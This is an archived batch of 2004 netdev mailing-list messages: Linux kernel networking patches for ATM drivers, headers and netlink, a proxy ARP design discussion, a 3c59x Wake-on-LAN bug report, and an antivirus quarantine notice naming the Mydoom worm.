netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev since its difficult to tell which pci bus is using posted writes, remove the ifdef's for the sgi sn2 (and remove the extra flushes that would be flushed by other reads just slightly later). the extra reads shouldnt impact performance. please apply to 2.6 and 2.4 thanks! # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1170 -> 1.1171 # drivers/atm/he.c 1.15 -> 1.16 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 04/02/04 chas@relax.cmf.nrl.navy.mil 1.1171 # [ATM]: [he] unconditionalize extra pci reads to flush posted writes # -------------------------------------------- # diff -Nru a/drivers/atm/he.c b/drivers/atm/he.c --- a/drivers/atm/he.c Wed Feb 11 09:13:28 2004 +++ b/drivers/atm/he.c Wed Feb 11 09:13:28 2004 @@ -177,9 +177,7 @@ unsigned flags) { he_writel(he_dev, val, CON_DAT); -#ifdef CONFIG_IA64_SGI_SN2 - (void) he_readl(he_dev, CON_DAT); -#endif + (void) he_readl(he_dev, CON_DAT); /* flush posted writes */ he_writel(he_dev, flags | CON_CTL_WRITE | CON_CTL_ADDR(addr), CON_CTL); while (he_readl(he_dev, CON_CTL) & CON_CTL_BUSY); } @@ -2011,9 +2009,6 @@ he_writel(he_dev, RBRQ_MASK(he_dev->rbrq_head), G0_RBRQ_H + (group * 16)); -#ifdef CONFIG_IA64_SGI_SN2 - (void) he_readl(he_dev, G0_RBRQ_H + (group * 16)); -#endif } return pdus_assembled; @@ -2107,9 +2102,6 @@ he_writel(he_dev, TBRQ_MASK(he_dev->tbrq_head), G0_TBRQ_H + (group * 16)); -#ifdef CONFIG_IA64_SGI_SN2 - (void) he_readl(he_dev, G0_TBRQ_H + (group * 16)); -#endif } } @@ -2137,12 +2129,8 @@ ++moved; } - if (moved) { + if (moved) he_writel(he_dev, RBPL_MASK(he_dev->rbpl_tail), G0_RBPL_T); -#ifdef CONFIG_IA64_SGI_SN2 - (void) he_readl(he_dev, G0_RBPL_T); -#endif - } } #ifdef CONFIG_ATM_HE_RBPS @@ -2169,12 +2157,8 @@ ++moved; } - if (moved) { + if (moved) he_writel(he_dev, RBPS_MASK(he_dev->rbps_tail), G0_RBPS_T); -#ifdef CONFIG_IA64_SGI_SN2 - (void) he_readl(he_dev, G0_RBPS_T); -#endif - } } #endif /* CONFIG_ATM_HE_RBPS */ @@ -2271,7 +2255,7 @@ IRQ_SIZE(CONFIG_IRQ_SIZE) | IRQ_THRESH(CONFIG_IRQ_THRESH) | IRQ_TAIL(he_dev->irq_tail), IRQ0_HEAD); - (void) he_readl(he_dev, INT_FIFO); /* 8.1.2 controller errata */ + (void) he_readl(he_dev, INT_FIFO); /* 8.1.2 controller errata; flush posted writes */ } #ifdef USE_TASKLET spin_unlock_irqrestore(&he_dev->global_lock, flags); @@ -2312,11 +2296,8 @@ #else he_tasklet((unsigned long) he_dev); #endif - he_writel(he_dev, INT_CLEAR_A, INT_FIFO); - /* clear interrupt */ -#ifdef CONFIG_IA64_SGI_SN2 - (void) he_readl(he_dev, INT_FIFO); -#endif + he_writel(he_dev, INT_CLEAR_A, INT_FIFO); /* clear interrupt */ + (void) he_readl(he_dev, INT_FIFO); /* flush posted writes */ } spin_unlock_irqrestore(&he_dev->global_lock, flags); return IRQ_RETVAL(handled); @@ -2385,9 +2366,7 @@ he_dev->tpdrq_tail = new_tail; he_writel(he_dev, TPDRQ_MASK(he_dev->tpdrq_tail), TPDRQ_T); -#ifdef CONFIG_IA64_SGI_SN2 - (void) he_readl(he_dev, TPDRQ_T); -#endif + (void) he_readl(he_dev, TPDRQ_T); /* flush posted writes */ } static int @@ -2537,9 +2516,7 @@ he_writel_tsr12(he_dev, 0x0, cid); he_writel_tsr13(he_dev, 0x0, cid); he_writel_tsr14(he_dev, 0x0, cid); -#ifdef CONFIG_IA64_SGI_SN2 - (void) he_readl_tsr0(he_dev, cid); -#endif + (void) he_readl_tsr0(he_dev, cid); /* flush posted writes */ spin_unlock_irqrestore(&he_dev->global_lock, flags); } @@ -2593,9 +2570,7 @@ the open/closed indication in rsr0 */ he_writel_rsr0(he_dev, rsr0 | RSR0_START_PDU | RSR0_OPEN_CONN | aal, cid); -#ifdef CONFIG_IA64_SGI_SN2 - (void) he_readl_rsr0(he_dev, cid); -#endif + (void) he_readl_rsr0(he_dev, cid); /* flush posted writes */ spin_unlock_irqrestore(&he_dev->global_lock, flags); } @@ -2649,9 +2624,7 @@ set_current_state(TASK_UNINTERRUPTIBLE); he_writel_rsr0(he_dev, RSR0_CLOSE_CONN, cid); -#ifdef CONFIG_IA64_SGI_SN2 - (void) he_readl_rsr0(he_dev, cid); -#endif + (void) he_readl_rsr0(he_dev, cid); /* flush posted writes */ he_writel_mbox(he_dev, cid, RXCON_CLOSE); spin_unlock_irqrestore(&he_dev->global_lock, flags); @@ -2701,9 +2674,6 @@ spin_lock_irqsave(&he_dev->global_lock, flags); he_writel_tsr4_upper(he_dev, TSR4_FLUSH_CONN, cid); /* also clears TSR4_SESSION_ENDED */ -#ifdef CONFIG_IA64_SGI_SN2 - (void) he_readl_tsr4(he_dev, cid); -#endif switch (vcc->qos.txtp.traffic_class) { case ATM_UBR: @@ -2715,6 +2685,7 @@ he_writel_tsr14_upper(he_dev, TSR14_DELETE, cid); break; } + (void) he_readl_tsr4(he_dev, cid); /* flush posted writes */ tpd = __alloc_tpd(he_dev); if (tpd == NULL) { @@ -2977,9 +2948,7 @@ spin_lock_irqsave(&he_dev->global_lock, flags); he_writel(he_dev, val, FRAMER + (addr*4)); -#ifdef CONFIG_IA64_SGI_SN2 - (void) he_readl(he_dev, FRAMER + (addr*4)); -#endif + (void) he_readl(he_dev, FRAMER + (addr*4)); /* flush posted writes */ spin_unlock_irqrestore(&he_dev->global_lock, flags); } From ja@ssi.bg Wed Feb 11 06:32:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 06:32:44 -0800 (PST) Received: from l.himel.bg (IDENT:root@unamed.infotel.bg [212.39.68.18] (may be forged)) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1BEWUKO016838 for ; Wed, 11 Feb 2004 06:32:31 -0800 Received: from linux.himel.bg (IDENT:ja@linux.himel.bg [127.0.0.1]) by l.himel.bg (8.11.6/8.9.3) with ESMTP id i1BEWNZ07480; Wed, 11 Feb 2004 16:32:23 +0200 Date: Wed, 11 Feb 2004 16:32:23 +0200 (EET) From: Julian Anastasov X-X-Sender: ja@l To: jamal cc: netdev@oss.sgi.com, Alexey Kuznetsov Subject: Re: Change proxy_arp to respond only for valid neighbours In-Reply-To: <1076505110.2267.207.camel@jzny.localdomain> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3217 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev Hello, On 11 Feb 2004, jamal wrote: > > Yes, I tried it on empty system, just ip route get -> NUD_NONE. > > It doesnt seem to show up at all in the neigh cache display although > you are correct that it does go to NUD_NONE given the transition > when you attempt a ping right after. > > is NUD_NONE never displayed by ip n ls? I now see that the trick is ip n l nud none > > I did it during my initial tests and now I tested it > > again, looks as expected. > > I am not %100 sure if such an entry should be route cached if the nh > is not resolvable. What are your thoughts on this? It looks bad to call route_slow for every one request, I have to think more about it. > > Yes, target can exist in the cache in NUD_FAILED without > > timer. But it is possible if we send probe to receive answer. > > NUD_FAILED is dead meat waiting to be garbage collected. But can be outdated. > I think if any cache entry is NUD_VALID you should respond immediately. No, we should delay the broadcasts if such delay is configured. For unicasts we respond immediately. > anything else you should enqueue request and initiate a discovery to > target. By checking ->probes we queue !VALID entries only when switching from FAILED to INCOMPLETE. For example: - we have 3 brd probes configured to send - request comes - we send 1st brd probe for target and enqueue this incoming request and all requests coming before we send the 2nd probe - we send 2nd probe (still no answer for the 1st) - at this point we know that target is really dead and we do not need to queue more incoming requests (even brd ones) until target responds (the queue has limit) - this cycle repeats on each 3 seconds which means that for 1 second we queue requests and for 2 seconds we just drop > Ok, I looked at this and i am wondering if all logic you have is needed. > I apologize in advance because i feel i missed something you said > earlier, but what is wrong with just saying along the following lines: > > if (skb->stamp.tv_sec == 0 || > skb->pkt_type == PACKET_HOST || > in_dev->arp_parms->proxy_delay == 0) { > if ((in_dev->arp_parms->proxy_validate) && > n && !neigh_is_valid(n)) { > /* probably issue arp to tip here */ > goto q_it; > > } > arp_send(ARPOP_REPLY,ETH_P_ARP,sip,dev,tip,sha,dev->dev_addr,sha); > } else { > q_it: > if (fwd_proxy) > neigh_event_send(n, NULL); > pneigh_enqueue(&arp_tbl, in_dev->arp_parms, skb); > in_dev_put(in_dev); > return 0; > } > goto out; There is possible loop in this example (as DaveM warned) when ((tv_sec=0 or delay=0) and !valid) but it can be fixed (then you will have code in similar size :)). The problem is that I wanted to avoid creating new flag if there is no need to support the old behavior in the real life. Also, we have choice to apply delay according to the proxy type (DNAT/fwd/pneigh) and the probes sent. Also, you do not call neigh_event_send when request with tv_sec!=0 comes. This is bad in cases where the requestor sends only ARP requests without IP traffic, you risk target to switch to STALE state for long time and we will start to provide outdated information. We have to treat the ARP requests as IP traffic and to update the target's state. > cheers, > jamal Regards -- Julian Anastasov From chas@cmf.nrl.navy.mil Wed Feb 11 06:32:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 06:32:44 -0800 (PST) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1BEWXKO016839 for ; Wed, 11 Feb 2004 06:32:33 -0800 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id i1BEWRRr005897; Wed, 11 Feb 2004 09:32:27 -0500 (EST) Message-Id: <200402111432.i1BEWRRr005897@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][ATM]: [clip] delay /proc/net/atm/arp creation Reply-To: chas3@users.sourceforge.net Date: Wed, 11 Feb 2004 09:32:29 -0500 From: chas williams (contractor) X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 3218 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev this patch delay's creation of /proc/net/atm/arp until after the kmem_cache_create. mea culpa in advance for the shoddy #ifdef. please apply to 2.6 thanks! # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1550 -> 1.1551 # net/atm/clip.c 1.30 -> 1.31 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 04/02/10 chas@relax.cmf.nrl.navy.mil 1.1551 # [ATM]: [clip] delay /proc/net/atm/arp creation # -------------------------------------------- # diff -Nru a/net/atm/clip.c b/net/atm/clip.c --- a/net/atm/clip.c Tue Feb 10 17:05:22 2004 +++ b/net/atm/clip.c Tue Feb 10 17:05:22 2004 @@ -1008,14 +1008,6 @@ static int __init atm_clip_init(void) { -#ifdef CONFIG_PROC_FS - struct proc_dir_entry *p; - - p = create_proc_entry("arp", S_IRUGO, atm_proc_root); - if (p) - p->proc_fops = &arp_seq_fops; -#endif - /* we should use neigh_table_init() */ clip_tbl.lock = RW_LOCK_UNLOCKED; clip_tbl.kmem_cachep = kmem_cache_create(clip_tbl.id, @@ -1032,6 +1024,16 @@ clip_tbl_hook = &clip_tbl; register_atm_ioctl(&clip_ioctl_ops); + +#ifdef CONFIG_PROC_FS +{ + struct proc_dir_entry *p; + + p = create_proc_entry("arp", S_IRUGO, atm_proc_root); + if (p) + p->proc_fops = &arp_seq_fops; +} +#endif return 0; } From ja@ssi.bg Wed Feb 11 06:53:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 06:53:39 -0800 (PST) Received: from l.himel.bg (IDENT:root@unamed.infotel.bg [212.39.68.18] (may be forged)) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1BErMKO017959 for ; Wed, 11 Feb 2004 06:53:24 -0800 Received: from linux.himel.bg (IDENT:ja@linux.himel.bg [127.0.0.1]) by l.himel.bg (8.11.6/8.9.3) with ESMTP id i1BErKZ07985; Wed, 11 Feb 2004 16:53:20 +0200 Date: Wed, 11 Feb 2004 16:53:20 +0200 (EET) From: Julian Anastasov X-X-Sender: ja@l To: jamal cc: netdev@oss.sgi.com, Alexey Kuznetsov Subject: Re: Change proxy_arp to respond only for valid neighbours In-Reply-To: <1076506090.2268.252.camel@jzny.localdomain> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3219 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev Hello, On 11 Feb 2004, jamal wrote: > I agree with you. We may be saying the same thing. What i mean is [**]: > further below. Yes, we better to talks with source code :) > [**] If a linux machine (which is sane ARP implementation) sent a unicast > probe to us, theres high likelihood that the target is in VALID state. > This is what i refered to as an educated guess. Ah, this is not true :) Sane requestor as Linux will switch forever between STALE (delay+probe) and REACHABLE if target is STALE and we answer to these unicast requests without updating the target's state, for example, if there is only ARP traffic. In normal usage it can not occur but if someone is sending unicast requests without IP traffic we will hit it. IIRC, old arping versions do exactly this, 1 brd + many unicasts. > cheers, > jamal Regards -- Julian Anastasov From chas@cmf.nrl.navy.mil Wed Feb 11 07:10:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 07:11:10 -0800 (PST) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1BFAvKO019453 for ; Wed, 11 Feb 2004 07:10:57 -0800 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id i1BEPtRr005772; Wed, 11 Feb 2004 09:25:55 -0500 (EST) Message-Id: <200402111425.i1BEPtRr005772@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com, "Peter" Subject: [PATCH][ATM]: prevent user-space compilation errors Reply-To: chas3@users.sourceforge.net Date: Wed, 11 Feb 2004 09:25:57 -0500 From: chas williams (contractor) X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 3220 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev the script used by redhat to generate glibc-kernheaders doesnt seem to handle #ifdef __KERNEL__/#else/#endif properly. it seems to remove the #ifdef/#else and leaves a dangling #endif. this patch simplifies things a bit. please apply to 2.6 and 2.4. thanks! # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1315 -> 1.1316 # include/linux/sonet.h 1.1 -> 1.2 # include/linux/atmdev.h 1.12 -> 1.13 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 04/02/10 chas@relax.cmf.nrl.navy.mil 1.1316 # [ATM]: prevent userspace compilation errors with glibc-kernheaders # -------------------------------------------- # diff -Nru a/include/linux/atmdev.h b/include/linux/atmdev.h --- a/include/linux/atmdev.h Tue Feb 10 16:13:55 2004 +++ b/include/linux/atmdev.h Tue Feb 10 16:13:55 2004 @@ -199,9 +199,7 @@ "SESSION", "HASSAP", "BOUND", "CLOSE" -#ifndef __KERNEL__ -#undef __AAL_STAT_ITEMS -#else +#ifdef __KERNEL__ #include /* wait_queue_head_t */ #include /* struct timeval */ diff -Nru a/include/linux/sonet.h b/include/linux/sonet.h --- a/include/linux/sonet.h Tue Feb 10 16:13:55 2004 +++ b/include/linux/sonet.h Tue Feb 10 16:13:55 2004 @@ -56,9 +56,7 @@ #define SONET_FRSENSE_SIZE 6 /* C1[3],H1[3] (0xff for unknown) */ -#ifndef __KERNEL__ -#undef __SONET_ITEMS -#else +#ifdef __KERNEL__ #include From niv@us.ibm.com Wed Feb 11 08:42:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 08:42:44 -0800 (PST) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1BGgPKO027724 for ; Wed, 11 Feb 2004 08:42:31 -0800 Received: from westrelay03.boulder.ibm.com (westrelay03.boulder.ibm.com [9.17.195.12]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1BGfAM3589910; Wed, 11 Feb 2004 11:41:10 -0500 Received: from us.ibm.com (d03av01.boulder.ibm.com [9.17.193.81]) by westrelay03.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1BGf8NZ111350; Wed, 11 Feb 2004 09:41:09 -0700 Message-ID: <402A5A96.8030303@us.ibm.com> Date: Wed, 11 Feb 2004 08:38:46 -0800 From: Nivedita Singhvi User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en MIME-Version: 1.0 To: hadi@cyberus.ca CC: Arnaldo Carvalho de Melo , "David S. Miller" , yoshfuji@linux-ipv6.org, netdev@oss.sgi.com Subject: Re: [PATCH] IPV4: spelling correction References: <20040211.032831.67897970.yoshfuji@linux-ipv6.org> <20040211.033324.120562092.yoshfuji@linux-ipv6.org> <402926A0.20809@us.ibm.com> <20040210105124.61431b9b.davem@redhat.com> <20040211120759.GF13619@conectiva.com.br> <1076506846.2274.265.camel@jzny.localdomain> In-Reply-To: <1076506846.2274.265.camel@jzny.localdomain> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3221 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: niv@us.ibm.com Precedence: bulk X-list: netdev jamal wrote: > [I have to say the best comments i have ever seen was in some > old code (written in the 70s in some big corp that i worked for) by some > guy who claimed he couldnt fix something because he was naked (had to > get dressed). Oh lord. Trying to look into a kernel bug and now this naked guy image ... :). Probably going to haunt us all for some time. Bug fixing might never be the same ;) thanks, Nivedita From trini@kernel.crashing.org Wed Feb 11 09:07:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 09:07:46 -0800 (PST) Received: from fed1mtao05.cox.net (fed1mtao05.cox.net [68.6.19.126]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1BH7XKO029276 for ; Wed, 11 Feb 2004 09:07:33 -0800 Received: from opus ([68.225.54.186]) by fed1mtao05.cox.net (InterMail vM.5.01.06.05 201-253-122-130-105-20030824) with ESMTP id <20040211170726.VDJA9536.fed1mtao05.cox.net@opus>; Wed, 11 Feb 2004 12:07:26 -0500 Date: Wed, 11 Feb 2004 10:07:27 -0700 From: Tom Rini To: Kernel Mailing List , netdev@oss.sgi.com Cc: Chris Mason Subject: Problem with 3c59x, WOL and Intel 440LX/EX or 430TX Message-ID: <20040211170727.GC18571@smtp.west.cox.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.5.1+cvs20040105i X-archive-position: 3222 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: trini@kernel.crashing.org Precedence: bulk X-list: netdev Hello. I believe I have tracked down a problem with the WOL support in the 3c59x driver (2.6 varriant only right now). The problem has been seen I belive by a few people: (my own reports) http://marc.theaimsgroup.com/?l=linux-kernel&m=106297008218993&w=2 http://lkml.org/lkml/2003/9/2/167 I believe that the problem here is not with the driver per-se but with the BIOS: http://www.asus.com.tw/download/mbdriver/slot1-440lx.htm The short description of the problem is that when the WOL code in the driver is enabled, on some presumably buggy BIOSes the card ends up getting put into the sleep state, or something as something like the following gets reported as the driver inits: 3c59x: Donald Becker and others. www.scyld.com/network/vortex.html See Documentation/networking/vortex.txt 0000:00:0e.0: 3Com PCI 3c905B Cyclone 100baseTx at 0xe480. Vers LK1.1.19 PCI: Setting latency timer of device 0000:00:0e.0 to 64 ff:ff:ff:ff:ff:ff, IRQ 9 product code ffff rev ffff.15 date 15-31-127 Full duplex capable Internal config register is ffffffff, transceivers 0xffff. 1024K word-wide RAM 3:5 Rx:Tx split, autoselect/ interface. ***WARNING*** No MII transceivers found! Enabling bus-master transmits and early receives. 0000:00:0e.0: scatter/gather enabled. h/w checksums enabled If the patch in 1.1046.589.6 (key: akpm@osdl.org|ChangeSet|20030801165536|51693) is reversed, the problem goes away. But since that would be a drastic step for some buggy BIOSes, would a patch to add in a disable_wol (and maybe a prink about it, if no MII transceivers are found?) be an OK fix for this? OTOH, this looks like bugme # 1394, and if so, it looks like there's a number of buggy BIOS out there, so maybe it's not so drastic. -- Tom Rini http://gate.crashing.org/~trini/ From randy.rowe@scccd.com Wed Feb 11 09:47:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 09:48:12 -0800 (PST) Received: from sdoex001.SCCCD.NET ([198.189.162.205]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1BHlmKO031774 for ; Wed, 11 Feb 2004 09:47:49 -0800 X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----_=_NextPart_001_01C3F0C6.9138FC74" Subject: Virus Found in message "Status" Date: Wed, 11 Feb 2004 09:43:32 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Virus Found in message "Status" Thread-Index: AcPwxpE4fDcaTqddRICkLfpVA2z95Q== From: "Randy Rowe" To: X-archive-position: 3223 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: randy.rowe@scccd.com Precedence: bulk X-list: netdev This is a multi-part message in MIME format. ------_=_NextPart_001_01C3F0C6.9138FC74 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Symantec AntiVirus found a virus in an attachment you = (netdev@oss.sgi.com ) sent to Randy Rowe. To ensure the recipient(s) are able to use the files you sent, perform a = virus scan on your computer, clean any infected files, then resend this = attachment. Attachment: document.zip Virus name: W32.Mydoom.A@mm Action taken: Clean failed : Quarantine succeeded :=20 File status: Infected ------_=_NextPart_001_01C3F0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FQ0FOVElWSVJVU0ZPVU5EQVZJUlVTSU5BTkFUVEFDSE1FTlRZT1Uo TkVUREVWQE9TU1NHSUNPTTxORVRERVZAT1NTU0dJQ09NKVNFTlRUT1JBTkRZUk9XRVRPRU5TAAAA AAIBfwABAAAAPAAAADxEOTUwREI4QzFEQzczRDQyODYzQTEyMjUzQTlFOTdFQzBFQjdFNkBzZG9l eDAwMS5zY2NjZC5uZXQ+AOxf ------_=_NextPart_001_01C3F0C6.9138FC74-- From yoshfuji@linux-ipv6.org Wed Feb 11 10:36:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 10:36:56 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1BIafKO002428 for ; Wed, 11 Feb 2004 10:36:42 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id C6E3733CA5 for ; Thu, 12 Feb 2004 03:37:39 +0900 (JST) Resent-Date: Thu, 12 Feb 2004 03:37:39 +0900 (JST) Resent-Message-Id: <20040212.033739.10016644.yoshfuji@linux-ipv6.org> Resent-To: netdev@oss.sgi.com Resent-From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Date: Wed, 11 Feb 2004 19:11:14 +0100 From: Jan Kasprzak To: linux-kernel@vger.kernel.org Cc: kuznet@ms2.inr.ac.ru Subject: [Patch] Netlink BUG() on AMD64 Message-ID: <20040211181113.GA2849@fi.muni.cz> References: <20040205183604.N26559@fi.muni.cz> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040205183604.N26559@fi.muni.cz> User-Agent: Mutt/1.4.1i X-Muni-Spam-TestIP: 147.251.48.3 X-Muni-Virus-Test: Clean Precedence: bulk X-Mailing-List: linux-kernel@vger.kernel.org X-archive-position: 3224 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Jan Kasprzak wrote: : I have got kernel BUG() while running the "ip rule list" command : on my dual AMD64 box with 2.6.2 kernel. I have a blacklist of IP : addresses, and I have one IP rule for each of this addresses: : : ip rule add pref 500 from x.y.z.a dev $UPLINK_DEV blackhole : : I have about 200 such rules (with different x.y.z.a IPv4 addresses, : but all with the same preference of 500 and same $UPLINK_DEV - currently : eth3). I have measured that when I add less than 60 such rules, I do not : get BUG() during "ip rule list" command. When I add 60 or more, : I get overflow in skb_put(). So the kernel is definitely overflowing : something. The problem is that in fib_rules.c there is an attempt to skb_put() a negative increment. Which is OK on platforms where sizeof(unsigned) == sizeof(void *). skb_put() has its second argument as unsigned int, so instead of adding a -36 bytes here, it adds 4294967260 bytes to the skb->tail, which extends it further than skb->end, which causes the BUG() I have mentioned. The solution would be to change the argument of skb_put() and friends to be either long or signed int, or to call skb_trim() instead of skb_put in fib_rules.c instead. I suggest the following patch, but all occurences of nlmsg_failure: and rtattr_failure: labels should be checked for a similar problem. --- linux-2.6.2/net/ipv4/fib_rules.c.orig 2004-02-11 18:55:58.000000000 +0100 +++ linux-2.6.2/net/ipv4/fib_rules.c 2004-02-11 19:03:08.319215408 +0100 @@ -438,7 +438,7 @@ nlmsg_failure: rtattr_failure: - skb_put(skb, b - skb->tail); + skb_trim(skb, b - skb->data); return -1; } Please apply or let me know what the proper fix should be. -Yenya -- | Jan "Yenya" Kasprzak | | GPG: ID 1024/D3498839 Fingerprint 0D99A7FB206605D7 8B35FCDE05B18A5E | | http://www.fi.muni.cz/~kas/ Czech Linux Homepage: http://www.linux.cz/ | Any compiler or language that likes to hide things like memory allocations behind your back just isn't a good choice for a kernel. --Linus Torvalds - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/ From davem@redhat.com Wed Feb 11 10:42:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 10:42:44 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1BIgSKO003405 for ; Wed, 11 Feb 2004 10:42:29 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1BIgPb20668; Wed, 11 Feb 2004 13:42:25 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1BIgPi12867; Wed, 11 Feb 2004 13:42:25 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1BIfokC013664; Wed, 11 Feb 2004 13:41:51 -0500 Date: Wed, 11 Feb 2004 10:42:24 -0800 From: "David S. Miller" To: yoshfuji@linux-ipv6.org Cc: netdev@oss.sgi.com Subject: Re: [PATCH,RFC] [NET] ALIGN Message-Id: <20040211104224.0e3a0357.davem@redhat.com> In-Reply-To: <20040210.130543.130923643.yoshfuji@linux-ipv6.org> References: <20040209.134528.28683257.yoshfuji@linux-ipv6.org> <20040209112007.08023ba6.davem@redhat.com> <20040210.130543.130923643.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; 